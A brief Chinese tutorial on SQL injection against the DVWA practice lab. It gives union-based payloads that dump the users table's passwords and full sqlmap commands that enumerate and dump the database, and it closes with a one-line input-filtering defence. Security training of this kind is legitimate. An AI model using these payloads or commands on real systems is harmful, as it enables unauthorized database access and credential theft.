SQL注入

SQL注入也叫SQL注码,发生于应用程序与数据库层的安全漏洞。在设计的不良程序中,忽略了字符串检查,那么这些注入的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行。

例如

查询用户的SQL语句

select first_name,last_name from users where user_id=’1*’ and 1=1#*’

select first_name,last_name from users where user_id=’1*’ or 1=1#*’

斜体表示输入的内容,1总是等于1所以会被查询出来全部,#表示去掉后面有影响的SQL

怎么利用SQL注入漏洞

  1. 判断列数/字段数 order by [column_num]
  2. select first_name,last_name from users where user_id=’1*’ order by 1#*’
  3. 如果第一列存在肯定有输出,依次增加order by 的Num
  4. select first_name,last_name from users where user_id=’1*’ union select user(),database()#*’显示当前数据库连接用户和数据库名称
  5. select first_name,last_name from users where user_id=’1’ union select table_name,table_schema from information_schema.tables where table_schema=’dvwa’#
  6. 发现有users表,找到users表
  7. select first_name,last_name from users where user_id=’1’ union select user,password from users#’

SQLMap

  1. 官网sqlmap.org
  2. sqlmap -u “http://192.168.190.128:12345/vulnerabilities/sqli/?id=1&Submit=Submit#“ –cookie=”PHPSESSID=i8gu0fjas4mrs30cjpklqcibc6; security=low” –dbs 获取所有数据库名称
  3. sqlmap -u “http://192.168.190.128:12345/vulnerabilities/sqli/?id=1&Submit=Submit#“ –cookie=”PHPSESSID=i8gu0fjas4mrs30cjpklqcibc6; security=low” -D dvwa –tables 获取数据库中的所有表 -D表示数据库
  4. sqlmap -u “http://192.168.190.128:12345/vulnerabilities/sqli/?id=1&Submit=Submit#“ –cookie=”PHPSESSID=i8gu0fjas4mrs30cjpklqcibc6; security=low” -D dvwa -T users –columns 获取users表中的所有列
  5. sqlmap -u “http://192.168.190.128:12345/vulnerabilities/sqli/?id=1&Submit=Submit#“ –cookie=”PHPSESSID=i8gu0fjas4mrs30cjpklqcibc6; security=low” -D dvwa -T users –dump 获取users表中的所有数据,后续可以选择是否破解密码

防御

过滤手动输入的内容,不让输入SQL语句